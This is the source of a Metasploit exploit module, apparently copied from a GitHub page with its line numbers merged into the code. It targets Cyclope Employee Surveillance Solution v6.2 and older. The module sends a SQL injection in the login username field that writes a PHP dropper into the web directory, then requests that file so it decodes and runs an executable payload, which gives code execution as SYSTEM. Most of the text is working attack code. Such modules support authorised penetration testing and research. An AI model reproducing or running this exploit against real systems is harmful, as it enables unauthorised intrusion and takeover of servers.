Path: blob/master/modules/exploits/windows/http/cyclope_ess_sqli.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Cyclope Employee Surveillance Solution v6 SQL Injection",16'Description' => %q{17This module exploits a SQL injection found in Cyclope Employee Surveillance18Solution. Because the login script does not properly handle the user-supplied19username parameter, a malicious user can manipulate the SQL query, and allows20arbitrary code execution under the context of 'SYSTEM'.21},22'License' => MSF_LICENSE,23'Author' => [24'loneferret', # Original discovery, PoC25'sinn3r' # Metasploit26],27'References' => [28['OSVDB', '84517'],29['EDB', '20393']30],31'Payload' => {32'BadChars' => "\x00"33},34'DefaultOptions' => {35'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'36},37'Platform' => 'win',38'Targets' => [39['Cyclope Employee Surveillance Solution v6.2 or older', {}]40],41'Privileged' => false,42'DisclosureDate' => '2012-08-08',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options(53[54OptPort.new('RPORT', [true, "The web application's port", 7879]),55OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])56]57)5859self.needs_cleanup = true60end6162def check63peer = "#{rhost}:#{rport}"64path = File.dirname("#{target_uri.path}/.")65b64_version = get_version(path)66if b64_version.empty?67vprint_error("Unable to determine the version number")68else69b64_version = Rex::Text.decode_base64(b64_version)70if b64_version =~ /^[0-6]\.1/71return Exploit::CheckCode::Appears72end73end7475return Exploit::CheckCode::Safe76end7778def get_version(path)79res = send_request_raw({ 'uri' => "#{path}index.php" })80return '' if not res8182v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]83return '' if not v8485return v86end8788def on_new_session(cli)89if cli.type != 'meterpreter'90print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")91return92end9394cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")9596begin97print_warning("Deleting #{@php_fname}")98cli.fs.file.rm(@php_fname)99rescue ::Exception => e100print_error("Please note: #{@php_fname} is stil on disk.")101end102103begin104print_warning("Deleting #{@exe_fname}")105cli.fs.file.rm(@exe_fname)106rescue ::Exception => e107print_error("Please note: #{@exe_fname} is still on disk.")108end109end110111def get_php_payload(fname)112p = Rex::Text.encode_base64(generate_payload_exe)113php = %Q|114<?php115$f = fopen("#{fname}", "wb");116fwrite($f, base64_decode("#{p}"));117fclose($f);118exec("#{fname}");119?>120|121php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')122return php123end124125def exploit126peer = "#{rhost}:#{rport}"127path = File.dirname("#{target_uri.path}/.")128129#130# Need to fingerprint the version number in Base64 for the payload path131#132b64_version = get_version(path)133if b64_version.empty?134print_error("Unable to determine the version number")135return136end137138print_status("Obtained version: #{Rex::Text.decode_base64(b64_version)}")139140#141# Prepare our payload (naughty exe embedded in php)142#143@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'144@php_fname = Rex::Text.rand_text_alpha(6) + '.php'145php = get_php_payload(@exe_fname).unpack("H*")[0]146sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"147148#149# Inject payload150#151print_status("Injecting PHP payload...")152res = send_request_cgi({153'method' => 'POST',154'uri' => path,155'vars_post' => {156'act' => 'auth-login',157'pag' => 'login',158'username' => sqli,159'password' => Rex::Text.rand_text_alpha(5)160}161})162163#164# Load our payload165#166print_status("Loading payload: #{path}#{b64_version}/#{@php_fname}")167send_request_raw({ 'uri' => "#{path}#{b64_version}/#{@php_fname}" })168if res and res.code == 404169print_error("Server returned 404, the upload attempt probably failed")170return171end172173handler174end175end176177178